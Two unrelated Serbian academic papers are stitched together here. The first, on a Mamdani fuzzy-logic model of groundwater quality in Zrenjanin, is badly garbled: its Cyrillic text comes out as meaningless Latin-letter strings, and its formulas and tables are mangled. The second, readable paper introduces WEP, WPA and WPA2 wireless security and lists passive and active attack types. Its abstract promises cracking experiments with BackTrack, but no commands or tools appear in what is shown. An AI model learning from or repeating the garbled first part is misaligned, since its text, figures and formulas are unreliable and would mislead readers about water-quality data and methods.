KJIACHYHE TEOpHje CKYyIoBa, Oyayhu ma ce mpumagHoCT
ereMeHara (a3u CKyIy MOXKe OKapaKTepHucaTH OpojeM
m3 wHTepBana [0,1]. dPa3m CKynmoBH Cy OCHOBHH
eIIeMEeHTH KojuMma ce ommcyje Heoapehenoct. Teopmja
¢a3u cxynmoBa omoryhaBa WHTerpamujy wH(poOpMaImja
pa3MYUTHX MapaMerapa y Ipolecy MOJACIOBamba M
eBanyanuje. OyHKIM]ja MPUTIAAaka 32 CBaKH CKYII UMa
KapakTepuCTHYaH OOJIMK MW TpeIcTaBjba  CTCIeH
npunagama oapeheHor enemMeHTa a3y cKyy.
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Oynakuuja npunanama $azu ckyna A nepuHncana
Haja noMeHoM X je [1]:
uq:X - [01]
(1) .

®a3u ckyn A, HaJ YHUBEP3aJIHUM CKYNOM X, MOXKE
ce neduHMUCATH Kao CKyIl ypeheHux maposa:

A=1{lxuy(x)x e X)}

(2) .

[Mpumernmo na je:

1, x je moTmyHaM =aan crkyna A
uylx) = je (0,1), x je geamMm=an w1an crkyma A
0, x HHje waan cryna A

Kana ¢ynkinuja npunagama uma HajBehy moryhy
BpenHocT 1, 3a (a3u ckym kaxxeMo Ja je HOpMau30BaH.
VY pany he ce xopuctutu Qazu ckynoBu neduHHCAHH
HaJl TOMCHOM pealTHuX Opojena.

da3u MozenoBame KBamWTeTa MOA3EMHE BOJE CE
cacroju u3 cieaehux ¢asa:

1. EBamyanuja KJby4HUX CENEKTOBaHUX (DPU3UUKO-
XEMH]jCKHX MapaMeTapa Mnoj3eMHe BoJe,

2. ®dazudukanyja ceIeKTOBaHUX Mapamerapa,

3. Tlpumena kpeupanux asu npasua,

4., dazu  omryunBame  ymorpebom  ¢asu
omeparopa,

5. Tlpumena ¢a3u cucrema 3aKjby4nBamba,

6. Jedazudukanmja y kjracuuHe BpeJHOCTH.

Oynkiyje npunagama nocMarpanux 10 usmuko —
XEMHJCKHX MapameTapa KBaJUTeTa IIOJ3EMHE BOIE Cy
Tpame3ongHe (cnuka 1) M KpeupaHe cy Ha OCHOBY
JI03BOJbEHUX TPAHUYHUX BPEJHOCTH Ipema Baxehoj
3aKOHCKO] perynaruBu y Penyomumm CpOuju [2] u
npeMa cTynujama u npenopykama CBeTCKe 31paBCcTBEHE
opranmzaipje — WHO [3] u Amepuuke AreHuuje 3a
3amTuTy XuBoTHE cpeannHe — USEPA [4] (Tabena 1),
Kao W mpema mepuenuuju ayropa. OOmuk ¢yHKIH]je
npunajgama je onadpaH Ha OCHOBY CyOjeKTHBHE
IpOLIeHe W MPETXOAHHUX HCKycTaBa. Y (a3 mpoueHama
KBAJITETa BOAHKX Tena Hajuemhe cy MMIUIEMEHTHpaHe
Tpane3ougHe (QYyHKIMje TpUNafama, jep IOCTHKY

HajBelly TayHOCT TpuM KiIacupUKaLUju BOAE U
KapakTepUIly JUHAMHYKO IIOHAIlale Iapamerapa
KBaymTeTa Boje [5].
X
re),
1,7

T X

Cauka 1. Tpanezonnna QpyHKIHja npUnagama



Jennaumna (4) ommcyje TpamnesougHy (yHKIHjY
TIpUNagama ca CBOjuM criennpuyHIM napamerpuma [1]:

lr=n
r—ao
o= r=h
h—n
.UA{J::]z 1_.-55.1’5(’-‘
d—x
eExrEd
d—cc x
Qx=d

Zadeh [6] je mpemtoxuo cnenche neduuunmje 3a
omepanuje HaJl a3y CKYIoBUMa!

1. VYwuwuja dasu ckynoBa A u b je das3u ckym 1] umja je
¢byHKIMja npunanama (omepatop OR):
pelxd = pylx) Duplx) = max{p, (x), ppx)}
(5),
2. [Ilpecek nBa ¢a3u ckyna A u b je da3u ckyn 1]
ymja je pyHKIHja npunajama (oneparop AND):
pelx) = palx) Duglx) = minfu, (=), usx)}
(6) .

Hapenna ¢aza y ¢da3um MozpenoBamy IpeacTaBiba
Kpeupame u arperanuja ¢asu npasuna. da3u npaeuia
Cy CTaHaapJIHa MateMaTHyka mnpaswia y gopmu: AKO
je x=A, OHJIA je y=b, rme cy X ¥ y JMHTBUCTHYKE
IIPOMEHJbUBE, NOK CY A u b nuursuctuuke BPEAHOCTHU
neduHUcaHe HaJl YHUBEpP3aIHUM ckynoBuMa X U Y. ,.X
je A“ ce HazuBa aHTEUENCHT (IPETXOIHUK),
MPETIIOCTaBKa, MpeMuUca, YHbeHHIA. L,y je b ce Ha3uBa
KOHCEKBEHI[a, KOHKJIy3Wja, 3aKJbydak, MOCIequia. 3a
(ha3u npaBua KOHCEKBEHIIA Tj. TIOCIIEIUIIA CE TTOCTABIbA
Kao WCTHHHUTa Ha HCTOM CTENEHY Kao M aHTELEICHT.
Makcumanano moryh Opoj mpasuina je oapehen Opojem
yaa3HUX  BEJIIMYMHA UM OpojeM  JIMHTBUCTHUYKUX
BpeqHocTH. AKo je Opoj ynasza H, a Opoj BpEIHOCTH 3a
CBaKy BEJIMYMHY IOHA0CO0 M, OHJIA je MaKcUMaJaH Opoj
NpaBHjIa MH.

Behuna cucrema 3acHOBaHMX Ha MpaBUIMMa UMajy
BUIIE OJ jemHor mpaBwia. Ilpomec noOujarba
cBeoOyXBaTHE KOHCEKBEHLE OF  HHIMBUIYAIHHX

KOHCEKBEHI]a W3 CBaKOr IpaBwia y (a3u cucremy
mpeAicTBajba arperanujy npaswia [7]. Y cioydajy
chUCcTeMa TpaBWia Koja Mopajy 3ajelHUYKd OuTH
3aJI0BOJbEHA, NpaBHia ce MoBe3yjy omepatopom AND

(™). 3a ciyuaj AECjyHKTHBHOr CHCTEMA NpaBHIIA, IIE
Mopa OWTH 3aJI0BOJBCHO Oap jeJHO MPaBWIIO, MpaBHiIa
cy noBe3ana omnepatopoMm OR (V).

®a3u cucrem 3akpyumBama (Fuzzy Iuference
System — ®UC) je Haj3HAYAJHHUjU AJaT 32 MOJCIIOBAE
3acHOBaH Ha Teopuju (asu ckynoBa. (OCHOBHa
crpykrypa ®UC-a je mozmen Koju IpeciukaBa yjaa3He
KapaKTepUCTHKE Y YylazHe (YHKIHUje TPHUIIaTHOCTH,
yiaa3He (GyHKIMje MPUIAJHOCTH y TpaBuia, MPaBUia y
CKyTI U3JIa3HHUX KapaKTepUCTHKA, W3Na3He
KapaKTEepUCTHKE Y HM3Ja3He (QYHKIMje MPUMAIHOCTH H
u3Na3Hy (QYHKIM])Y TPUNAIHOCTH Y  jSOUHHUYHY
BPEIHOCT W3J1a3a WK OMIYKY Y CKIaay ca H3JIa30M.
Cuctem (a3u 3ak/byduBama je mpoiec (Gopmynarje
Tpanchopmarmje Bhazu ynaza y Gpasu usnasz nyrem haszu
JIOTHMKEe TOKymaBajyhu nma Qopmanusyje mporiec
JbYJICKOT PE30HOBAmba IyTeM Kpeupama (a3 mpaBmia.
Hajuemthe ummiementupan tin ®OUC-a je Mampanu
(hasu MojeoBame.

TunuuHo mpaBwio koj Mamnanu ¢a3u Mojaesna ca
JIBa ynia3a u jeaHuM uzna3zoM uma cienehy gpopmy:AKO
je x=A = y=b OHJIA je 3=11. Ilocroje aBa omeparopa
KOja ce mpuMenyjy y MaMmaanu ¢asu MeTofoIoruju, a
TO Cy Max-MHH WIM Max-lpou3Bon. Max — MuH je
Hajuemhe MPaBWIO KOMIIO3UIIMjE KOje C€ KOPUCTH Y
npakcu. MaMiaHHjeB Max — MUH MIPUCTYIT KapaKTepHIIe
TO IITO je Kpajibu M3Jla3 U3 CBHX NpaBuia (a3 CKyI
onabpaH ca MUHMMaJHOM jaunHOM mpaBuna. Kop
npaBuiia Max — NpPOW3BOJA KpajHM HM3lla3 M3 CBHX
npaBwia je ¢asu CKyn MPONOPLUOHATHO YMameH 3a
jauMHYy CBOr TIpaBWJa MPEKO auredapckor Mpou3BOAa

[71.

Tabesa 1. ['pannune BpeqHOCTH Mapamerapa mpema Baxeho]j 3akoHckoj perynatuu Penyonuke Cpouje u

cmepuuniama WHO u USEPA
I[lapaMeTap JenmHna CPB saxoHoM ozmpeheHa WHO USEPA
TPaHMYHA BPERHOCT
Boja °Pt/Co 5 - 15
EnextporpoBoaspuBoCT us/cm 1000 - z;%%-
pH - 6.8-8.5 7-8.5 6.5-8.5
Yrpomrak KMnO, mg/L 8 1-19 -
Amonijak (NH,") mg/L 1 1.5 1.5
2+
VKymHO rB%)ixbe (Fe™/ mg/L 0.3 0.1-0.3 0.3
Fe™)
Kamuujym (Ca") mg/L 200 75 -
Marsesujym(Mg®") mg/L 50 30 -
Harpujym (Na”) mg/L 150 200 100
Apcen (As”/ As™) mg/L 0.01 0.001-0.01 0.01
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Hedasndpukanmja je mocneamu  KOpak Koo
Mawmpaaaun dazu momena. Jedasudukanmja je mporec
npeBohema pesynraTa J0OHjeHOT y 0OIHKY (a3u cKyma
y OpojuaHy BpeqHOCT. Ya3Ha BeIMYMHA IIpoIeca
nedazndpukanuje je Qasm cKym, a wW3Na3 — jelHa,
KOHayHa BpeAHOCT. Pa3BujeH je HHM3 MeTola 3a
nedazuduranujy. Y pagy Ccy ce KOPHUCTHWIC JIBE
Hajuemhe mNpUMemUBaHE METONE: METONA CpeIihe
BpenHoctn Makcumyma (MOM-mean o Maxuma) u
MeToza IeHTpa rpasurtaiyje win oomactu (IIOA-center
od area).

Mertona cpeame BpeIHOCTH MakcuMyma, Gopmupa
JeMUHCTBEHY BpPEAHOCT H3Ja3HE MPOMEHJBHBE Kao
Cpelby BPETHOCT JIOKATHHUX BPETHOCTH Y KOjuMa
GbyHKIMja  TNPUNAHOCTH  MOCTHKE  MAaKCHMANHY
BpeqHoct. MOM wMeroJ| je TNpeACTaB/beH HapeIHUM
uzpasom [8,9,10]:

a+p

t=—" (7).
IHOA mpomenypa je Hajuemhe KopuinheHa
nedasudukanmona Meroa M IPEACTaB/beHA  je
anrebapckum uszpaszom [8,9,10]:
o Jpclz) zdz
[uc(=)dz (8)

3. PE3YJITATU U JUCKYCHUJA

EBanyupann Mampaanu ¢a3u Mozen je nmpumermeH
Ha mnojanuMma  (PU3MYKO-XEMHjCKMX  Mapamerapa
MOZI3EMHE BOJIE M3 IHje30METpa Ha TEPUTOPHjU Tpaja

3peHjaHuHA. PemyOniuku XUIPOMETEOPONIOIIKH 3aBO
Cp6uje (PXM3) Ha Teputopuju Peryonuke Cpbuje uma
MOCTaBJbEHY MPEXKY XHAPOJNOIIKAX CTaHWIA 33
npaheHje pexnma moa3zeMHHX Bozxa. Ha Tepuropuju
rpaga 3peHjaHHHA TOCTOjU TIOCTABJEEH IHjE€30MeTap y
HajuiexxHoctn PXM3. Jlyouna nujezomepra je 43.33 M,
ca Koje ce W Yy3UMajy Y30pIH 33 HCIUTHBAKE
HCIIPAaBHOCTH MOJ3eMHe Boje. McmuTHBaHja ce Bpile
jeIHOM TOAMINHjE W TO YIJABHOM Y  MecCeIy
ceriereMOpy. Ilogany o GU3NIKO-XEMHUjCKOM KBAITUTETY
MO/I3EMHE BOJIE HAa TEPUTOPHjU Tpaja 3pemaHHuHa 3a
nepuon on 2004.-2010. romumHEe Cy NpUKa3aHA ¥y
HapeaHoj Tabemu 2.

dasudukanmja omadbpaHnx (HU3NIKO — XEMHUJCKUX
napameTapa KBaJIUTeTa I1oJ3eMHe Bojie he ce cripoBecTH
Kpo3  TpaHCOpManujy  KIaCHYHHX  OpojeBa Yy
Tpane3ongHe ¢a3u ckymoBe momohy jemnauuue (4) w3
TEopHujcKor jaena. 3a ofabpaHe mapaMerpe KBaJIUTETa
MOJI3EMHE BONE JONEbYjy ce (a3u CKYNMOBH 4YHjEe CYy
(dyHKIM]je puIaiamka puKa3zaHe Ha cienehum cnrkama
2 - 11. ®azudpukoBaHUX OcCaM XEMHjCKUX IapaMmerapa
KBaJIUTeTa MoJ3eMHe Bojie je oOpaheHo y pany Kuypcku
u cap. [5], a IpUMEmEHN Cy Ha y30pLHMa MOJ3eMHE
BOJC M3 apTellKuX OyHapa Ha TEPUTOPHUjU TIpaja
3pewannHa. C Tora MamIaHujeB MOJEN eBalyupaH y
OBOM pany Npe/ICTaBIba HaJIOTPaIbY u
CI/ICTeMaTI/I3aHI/ij MNpoIHPEHLEM  MPOLICHE KBAJIUTETA
MO/I3EMHE BOJIE KaKO Ha (PM3MUKE M TaKO M Ha XEMH]CKe
napamerpe  jAajyhm  mpeuusHuje — pe3ynrare  Hd
CBEOOYXBATHH]Y CIIMKY O CTaly BOJHOT TeJa.

Tabesa 2. ®U3UYKO-XEMHUjCKH TApaMETPH MOJ3EMHE BOJIE U3 MHje30MeTpa y rpany 3pehaHuHy

MapamMeTps ca .e TITTTERE) Y3opak nmoa3eMHe Bojae u3 nnjesoMeTpa
PAMETPH €2 JEAMHMIL 2010. | 2009. | 2008. | 2007. | 2006. | 2005. | 2004
boja Boze (oPt/Co) 6e3 6oje | Oe3 6oje | Oe3 Ooje | Oe3 Ooje | Oe3 Ooje | Oe3 Ooje | Ge3 Ooje
EsexponposoamuBocT 1635 1513 1509 1442 1384 1300 1588
(uS/cm)
pH 7.8 7.6 7.9 7.9 8 8 7
Yrpomax KMuO4 18 8.4 6.9 6.7 9.2 9.4 11.2
(mg/L)
NH4+ (mg/L) 3.61 3.09 3.02 3.29 3.66 3.36 1.82
Fe2+/ Fe3+ (mg/L) 0.23 0.25 0.08 0.2 0.57 0.21 0.14
Ca2+ (mg/L) 54 61 53 56 73 65 112
Mg2+ (mg/L) 13 10 20 15 10 18 22
Na+ (mg/L) 2579 | 3126 295 338.4 338 326 316
As3+/As5+ (ug/L) 15 2 0.6 3 6 4 2.5
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Canka 11. OyHkumja npunagama 3a apceH

da3u MoJIes KBaJIUTeTa MOI3EMHE BOJIE je KpenupaH
Ha Taj HauuH mWTo je 10 cenekToBaHMX NapaMmerapa
NO/IEJbEHO Y 5 Pa3IMUUTUX KaTeropuja Tj. rpymna npema
yHarnpen yrBpheHuM Kputepujymuma kBanutera. ['pyne
cy (dopMupaHe Ha OCHOBY TJIABHHX KapaKTEPHUCTHKA
(bU3MUYKOT ¥ XEMH]CKOT CacTaBa MoJ3eMHHUX Boja. [IpBy
Ipyny cauuHaBaHjy: 00ja M E€IEKTPONPOBOIHHBOCT
BOAE KOje IpelcTaBibajy (HU3MYKE KapaKTEepHCTHKE
Bojie. [pyra rpymna je ¢opmupana ox mapamerapa: pH
BpeqHoct u yrpourak KMnO4, koju mnpezncraBsbajy
OCHOBHE IIOKa3aTeJb€ XEMHJCKOI cacTaBa IIOI3EMHE
BOJIE U TO CYy MapaMeTpH KOjU CE MCIHUTY]y Y OKBHPY
OCHOBHOI' IIperiiefja KBaJauTeTa Bozme. Y Tpehy rpymy
crajgajy KaTjoHH YKyIHOr rBoxkha M aMoHHWjaka Koju
YHHE MUKPOKOMIIOHEHTE TO/3eMHE BOJIE, KOje CBOjUM
MPUCYCTBOM HE YTHYY Ha THII Bojie, Beh umajy 3Hauajan
yTHUIIa] Ha crier(UUaH cacTaB MOA3EMHE BOJE U YECTO
onpehyjy moryhHoct kopumhema moa3eMHe BOJE.
UerBpTa rpyma je CTPYKTyHUpaHa OJl KaJIUjyMOBOL,
MarHe3MjyMOBOI M  HATPUJYMOBOI  jOHa  KOjH
MIPE/ICTaBIbajy MAKPOKOMIIOHEHTE, KOjeé YMHE OCHOBHH
cacTaB MOJ3EMHHMX BOJa M HAa OCHOBY HHXOBOT
campxkaja oxapeljyje ce tun Bome. llera rpyma je
¢dbopMupana oj joHCKOr oONMKa apceHa. Jeaumema
apceHa ce rmocMaTpajy MojeIMHaYHO jep je apceH jeAaH

HoJ3eMHe Bojie oboralieHe apceHoM, Koja ce KOPUCTH 3a
npou3BoAkY nmujahie Bome. CBakoj rpymu mapamerapa je
Jat onroBapajyhm 3Havaj wim “TexuHa” Ha OCHOBY
yTHIIAja CENEeKTOBAHHX MapaMerapa Ha JbYICKO
31paBJbe.

[Mprnrkom Kpeupama (pas3u mpaBuia CBE HU3jaBe Cy
noBe3ane omeparopom AND. Haeemihie ce Hekosmko
eBaslyupaHuX npumepa ¢asu npasuia: Axo je pH Boxe
IToxespan n yrpomak KMnO4 Henpuxsatisus OHZIA
j€ KBaJIUTET MOA3EMHE Boje Ipyre rpyme IIpuxBaTibus,;
Axo je ykynHo rBoxhe IlokesbHO M aMOHHjaK
Henpuxpatsbue OHJIA je kBanuTer Moa3eMHe BOJE
tpehe rpyne [IpuxBaTibuB.

Kpajwu KBajureT moa3eMHE BOJE je TOACIHEH Yy
Tpu Knace: Iloxespan, IlpuxBatspuB u Henpuxsatibus,
KOje Cy KpeupaHe Ha OCHOBY XMI'HMjE€HCKE HCIIPaBHOCTU
nojzemMHe Boje. [IpoueHTH y KpajHjeM pe3yiraTy
MPEJICTaBIbajy Ca KOJUM CTEHEeHOM Oe30eaHOCTH Tj.
CHUTYPHOCTH je BoAa moy3naHa 3a mnuhe. DyHkiwmja
npunagama  pesyaryjyher  ¢unamHOr
nojzeMHe Boje npumeHoM Mampaanujesor OUC-a je
npuKa3aHa Ha ciuny 12.

VY HapenHoj Tabenu 3 Owhe npukazaHu (puHAITHHA
pe3yaTaTd KBaJMTeTa MOA3EMHE BOIE U3 IHje30MeTpa
Jo0HjeHr TIpeKo eBayupanor Mamuanu ¢a3u Mojena.

Ol KJ/BYYHHUX Xa3apAHUX IlapaMmerapa KBalIUTETa
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Canka 12. OyHKIHja Mpunagama 3a KpajHju KBAIUTET ITOI3EMHE BOZE
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Tabesa 3: @uHamHM pe3ynTaTH KBAIMUTETA MTOJ3eMHE BOJIe MpUMeHOM MamanujeBor ¢as3u Mmozena

e KeanmureT mnopseMHe CreneH noysmaHOCTH
BOgE MOM LIOA
2010. [IpMXBaTHUB 62.5 % 61.34%
2009. [IpMXBaTHUB 62.5 % 61.34%
2008. [IpMXBaTHUB 62.5% 61.34 %
2007. [IpMXBaTHUB 62.5 % 61.34%
2006. [IpMXBaTHUB 62.5 % 61.34%
2005. [IpMXBaTHUB 62.5 % 61.34%
2004. [IpMXBaTHUB 62.5 % 61.34%

[punukoM MpolleHe KBaJIWUTETa MOJ3EMHE BOJE
T0jaBJbYjy c€ JiBa THIAa HEU3BECHOCTH, YH]j€ j€ TMOTITyHO
yKJIamame TIaBHU k. [IpBO, mapameTpuMa uuje cy
KOHIIEHTpaIje ONu3y MAaKIMMalHO JI03BOJbEHHX
konentpanuja (MJIK), je mocBehieHa nonaTHa naxma u
pasMaTpanun Ccy Beoma oba3puBo. Ha mpumep,
KOHIIeHTpanuja HaTpujyma ox 160.8 mg/L je wm3Hazg
MK ox 150 mg/L 3a 7.2%. Mehyrum, npu oBUM
KOHIICHTpalMjamMa HaTpujyma Hehe ohu 10 HeXebeHUX
3[paBCTBEHHX e(eKkaTa 10 XyMaHy NOMyNalujy U ¢ Tora
ce y mpolieHama OBaj HMBO HaTpWjymMa y BOJAM CMarpa
NpUXBaTJbUBUM. TeK TpH KOHIEHTpaljaMa HaTpHjyMa
npeko 200 mg/L nonasu mo mpomeHe yKyca BOJE U
Moryher yTHIiaja Ha XWIEpPTEH3Wjy Koja ce I0jaBuIiIa
KoJi Majyor Opoja ucruranuka [3]. Jpyro, He mocroju
XOMoOreHocT Mehy mapamerpuma y Kjlacama KBaJHTeTa
nozzeMHe Boze. To ce Moxe 3aKJby4uTH [TOCMATpambeM
¢byHKIMja pUnajama 3a CeJIeKTOBaHE Mmapamerpe Koju
Cy MOJEJbEHH y TPH Kilace (IOXKeJbaH, NMPUXBAT/BUB U
HerpuxBatbuB). CBakyu mapamerap Jienyje jeqUHCTBEHO
Ha 3[paBCTBEHO CTame€ JbYOH U HA OCHOBY TOTa je H
pacnonesbeH y kiace ksanutera. Ha npumep, nokesban
oricer KOHIeHTpaluja 3a apceH m3nocu ox 0-10 pg/L
JIOK 3a MarHe3ujym usHocu ox 60-100 mg/L.

da3u mpoleHa Koja OOMYHO KOPUCTH OpojuaHy
CKaJly 3a Npe/cTaBbaHje KBAUTETa BoJe U 00e30ehyje
aJITepHATUBHY METOOJIOTH]Y 3a arperupame BPeIHOCTH
napamerapa ca paziuduTHM (QyHKIHjaMa KBAJIUTETa Ce
UCTpPaXyje W KOPHCTH Yy eBallyallMju KBalUTETa
*HUBOTHE cpeauHe oa 1990-ux romuna. Sii u cap. [11],
Ludwig u Tulbure [12] u Garg u cap. [13] cy mehy
OpBUMa  pa3MaTpald HEM3BECHOCTH Yy  HPOIEHH
KBanuTeTa Bone kopucrehu ¢a3u GyHKIH]y TpUIagama
ca BpemHOCTHMa Koje cy ce kperaime og O mo 1 3a
dbopMupame OpUMEHBUBOr  (Da3W CKyma yMecTo
KoHBeHNMOHaNIHEe ckaje of 0 1o 100 y TpaaumoHanHoj
Metoponoruju. OBOM TEMaTHKOM Cy ce Takohe OaBmim
u Chang u cap. [14]; Liou u cap. [15]; Liou u Lo [16];
Dahiya u cap. [17]; Icaga [18]; Kumar u cap. [19];
Mahaptra u cap. [20]; Nasr u cap. [21]; Liu u cap. [22];
Nasr u cap. [23]; Priya [24]; Srivastava u cap. [25];
Wang u cap. [26]; Zhou u cap. [26].

4. 3AK/bYYAK

@nexcuOmnHOCT (a3w JOTMKE NpENCTaBIbEHA je
Moryhnomhy 1a pasBuje KIacu(pHUKaIOHEe MOAETE KOjH

UMajy yIoTpeOy npH mpoOIeMCKOM pelliaBamy MPOIeHe
KBaJUTETa TOA3eMHe Boae. KapakTepucThke camor
mpolieca MOpOIeHe KBalWTeTa BOAC yKasyjy Ha
YHIbECHAIY Ja C€ pagd O BHIICAAMEH3HOHATHOM
npoOneMy 4uje NMPOMEHJbHBE Tj. Mapamerpu Hajuerihe
HeMajy Mpelu3Ho JeuHHCaHe BPEIHOCTH, WIH UX je
Temko u3MepuTH. OBaKBe TEXHHKE CajJpKe MHOTe
KapaKTCpHUCTHUKE KOje UX YUHE U3Yy3€THO MPUBJIAYHUM U
epukacaiuM. Dazu cucteMn uMajy MoryhHocT ja
YCHEIIHO XapMOHM3Yjy MWHXEpPEeHTHa OACTyNama |
HejacHohe W Ja  jeIHOCTaBHO  HMHTEPIPETUPAjy
KOMILJIEKCHE CHCTEME.

EBanyupanu pesynatatd Mammanu ¢a3u momena
uMajy ozapeljeHe NPEeJHOCTH y OAHOCY Ha 10 caja
IpUMEEBEHE METOAOJOorHje, Koje ce MaHUdecTyjy y
YHMHjEHHUIIM J1a Cy eKCIEPUMEHTAIHO JOOHjeHU MOoAaIH
BPEAHOCTH IapaMeTapa KBaJHMTeTa IOI3EMHE BOJE
KOMOMHOBaHHM Ca €KCHEePTCKMM 3HambUMa U TeXHHKaMa
BellTauke uHTenureHiyje. CUrHU(pHUKaHTHA TPETHOCT
(a3 meromosoruja, y OAHOCY HAa KOHBEHI[MOHAIHE
METOJie, jecTe [OJe/bUBabE TEKUHCKHX (akTopa
HapaMeTpuMa Ha OCHOBY 3/APaBCTBEHUX HMIUIMKANHja
Ha XyMaHoj MOMYJalXj! KOjU Y BEJIHKO] MEpH YTUYY Ha
pesyaraTe mpoleHa W onpehuBama KBajaWTeTa BOJE.
Kon nonesbrBama TEXUHCKUX (akTopa, MOry ce ucrahu
KOMOHMHOBaHH MPUCTYIHU KOJU C€ 3aCHUBA]Y Ha MPUMEHU
CyOjeKTHBHUX W OOjJeKTHBHMX METOJa Kako Ou ce
JOOMITM UHTETPUCAHU TEXHHCKH (aKTOpPH.

Jenna on rmaBHMX TpeqHOCTH (ha3u MPUCTYMA je Ta
MITO ce CBakoM pe3yaryjyhiem KBajurtery Boje
JIofesbyje oarosapajyhu creneH nmoysmaHocTH. Tume ce
00Mjajy MPEeU3HNjH U PUCTYIaYHUjH PE3YITaTH KaKO
3a OHOCHOIIE OJJTyKa TaKO U 3a jaBHOCT Koja Tpeba ma
Oyzne obaBemTeHa 0 CTamby KBAIUTETA BOJIE.

PasBujern m kpempanm Mammanu Qa3 Momen
MOXe OWTH AWCUMHUHHPAH, MpPEHeT M KOpWUIINeH Ha
rpaioBe CIMYHHX XHIPOTEONOMKHX KapaKTepUCTHKA
nobujama Boze.
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REZIME

U radu su prikazani bezbednosni aspekati kod
bezicnih mreza. Predstavljeni su WEP 1 WPA
sigurnosni  algoritmi  putem  svojih  osnovnih
karakteristika, kao i njihove prednosti i slabosti. Na
kraju su data i dva eksperimenta koja demonstriraju
naine za probijanje Sifara u mrezama koje koriste
navedene sigurnosne algoritme. Alati se nalaze u okviru
besplatne Linux distribucije za digitalnu forenziku po
imenu BackTrack.

ABSTRACT

The paper presents the safety aspects of wireless
networks. WEP and WPA safety algorithms are
presented with their main characteristics, as well as their
advantages and weaknesses. The paper finishes with
two experiments which demonstrate the ways of
breaking passwords in networks which use those safety
algorithms. Tools are within free Linux distribution for
digital forensic named BackTrack.

1. UvOD

Bezi¢na komunikacija se koristi kako u poslovne,
tako i u privatne svrhe. Njene osnovne predosti su bolja
pokretljivost klijenata, lakSe dodavanje novih uredaja i
manji troskovi kada je potrebna oprema u pitanju.
Bezi¢ne mreze se vrlo Cesto koriste sa modernim
uredajima poput notebook ili tablet racunara, ili pak na
pametnim telefonima. Ovaj tip mreze je danas Siroko
rasprostranjen.

Osnovna razlika izmedu bezi¢nih i ziCanih mreza se
ogleda u nadinu prenoenja podataka. Zifane mreZe
tipi¢no koriste bakarne ili opticke kablove. Za pristup
podacima iz ove mreZze potrebno je izvrsiti povezivanje
zeljenih uredaja na odgovaraju¢i kabel. U bezi¢nim
mrezama se podaci prenose radio talasima i ne postoji
ziCana veza izmedu povezanih uredaja, pa je
prisluskivanje podataka koji se prenose na ovakav nacin
mogu¢ uz koriséenje jeftine i Siroko dostupne opreme.
Da bi se postigao potreban nivo sigurnosti u bezi¢nim
mrezama poseze se za upotrebom odgovarajucih
sigurnosnih algoritama poput WEP, WPA ili WPA2.

2. WEP, WPA i WPA2
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WEP (engl. Wired Equivalent Privacy) je
sigurnosni algoritam, koji je nastao 1999. godine, sa
ciljem da ponudi sigurnost u bezi¢nim LAN mrezama
koja bi bila jednaka sigurnosti koja postoji kod zi¢anim
mreZa. Vrlo brzo su uoceni brojni nedostatci, te je WEP
algoritam zamenjen novijim algoritmom po imenu
WPE.

Neki od nedostatka [1] WEP algoritma su slaba
kriptografija, nedostatak upravljanja klju¢evima, mala
veli¢ina  kljuCeva, viSestruko  koris¢enje  istih
inicijalizacionih vektora, neotpornost na viSestruke
napade i elektromagnetne smetnje, problemi sa
autentifikacijom, falsifikovanje paketa kao i neotpornost
na napad preopterecenjem porukama. WEP je takode
veoma ranjiv kada je prisluskivanje u pitanju.

WPA (engl. Wi-Fi Protected Access) algoritam je
nasledio WEP protokol, omogucivs§i kompleksniju
enkripciju (Sifrovanje) podataka. Pri tome vazno je
pomenuti da WPA radi na uredajima koji podrzavaju
WEP. Glavna poboljsanja koje je doneo WPA su na
polju:

e Enkripcije komunikacije, $to je postignuto
upotrebom TKIP protokola (engl. Temporal
Key Integrity Protocol);



e Autentifikacije
upotrebom EAP

Authentication Protocol).

korisnika,
(engl.

postignuto
Extensible

"WPA protokol implementira ve¢inu od IEEE
802.11i standarda, i zamiSljen je kao meduresenje koje
bi trebalo da zameni WEP." [1]

WPA takode koristi Message Integrity Code (MIC)
da bi se izbegli problemi sa falsifikovanjem, zatim da bi
se detektovale greske u sadrzajima koji se prenose, kao i
da bi se eliminisali neki tipovi napada na beZi¢ne mreZe.

WPAZ2 (engl. Wi-Fi Protected Access II) nasleduje i
poboljsava WPA algoritam. "WPA2 protokol koristi
snazniji algoritm za Sifrovanje poznat kao Advance
Encryption Standard (AES). Advanced Encryption
Standard je standard za Sifrovanje koji koristi simetri¢ne
kljuCeve, i prihvacen je od vlade SAD." [1]

3. BEZBEDNOST | TIPOVI NAPADA

Postoje odredeni uslovi pod kojima se bezi¢na
mreZza moze smatrati sigurnom. Kada su u pitanju
WLAN mreze u kompanijskom okruzenju, bezbednosni
zahtevi se mogu grupisati u sledeée tri kategorije [2]:
Tajnost podataka i integritet (engl. Data
Confidentiality and Integrity);

Autentifikacija i kontrola pristupa (engl.
Authentication and Access Control);

Detekcija i prevencija upada (engl. Intrusion
Detection and Prevention).

A

lﬁtmslon Detection
and Prevention

Slika 1. WLAN bezbednost, [2]

Postoje razliciti tipovi napada na bezi¢ne mreze.
Napade mozemo klasifikovati na vise razli¢itih nacina.
Jedna podela je na na:

Pasivne napade;
Aktivne napade.

Pasivne napade je teze detektovani, jer prividno ne
postoje nikakvi problemi u funkcionisanju bezicne
mreze. "Pasivni napad je napad gde korisnik bez
autorizacije stiCe pristup bezicnoj mrezi sa ciljem da
samo ,,slusa® informacije koje se prenose a pri tome ih
ne modifikuje. Pasivni napadi izgledaju kao tezi za
identifikovanje od strane mreznog administratora, jer
mrezne operacije nisu pogodene njima. "[3]

Tipovi pasivnih napada [3] su:
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e Prisluskivanje (engl. Eavesdropping), gde
napadac pasivno posmatra razmenu
informacija izmedu autoentifikovanog

korisnika i Access Point-a, bez ikakvih izmena;
Analiza saobracaja (engl. Traffic Analysis) je
sliéna prisluskivanju s tim da se posmatraju
podaci koji se uklapaju u odredeni Sablon.

Na trziStu postoji ve¢i broj komecijalnih i
besplatnih alata koji omogucavaju pasivne napade, a
neki od njih ¢e biti koris¢eni u eksperimentu u okviru
ovog ¢lanka.

Prilikom  aktivnog napada napada¢ moze
modifikovati informacije koje se prenose. Administrator
ima mogucnost da detektuje da postoji aktivni napad, ali
nije uvek u mogucnosti da ga spreci. Neki od tipova
aktivnih napada [3] su:

Maskiranje (engl. Masquerading), kada se
napadaé pretvara da je autorizovani Kkorisnik.
Cilj je dobijanje odredenih dozvola;
Ponavljanje paketa (engl. Packet Replay), kada
napada¢ prikuplja pakete podataka izmedu
Access Point-a i korisnika i zatim ih odredenim
redosledom ponovo $alje;

Izmena podataka (engl. Data modification),
kada napada¢ modifikuje prukupljene podatke i
zatim ih dalje prosleduje;

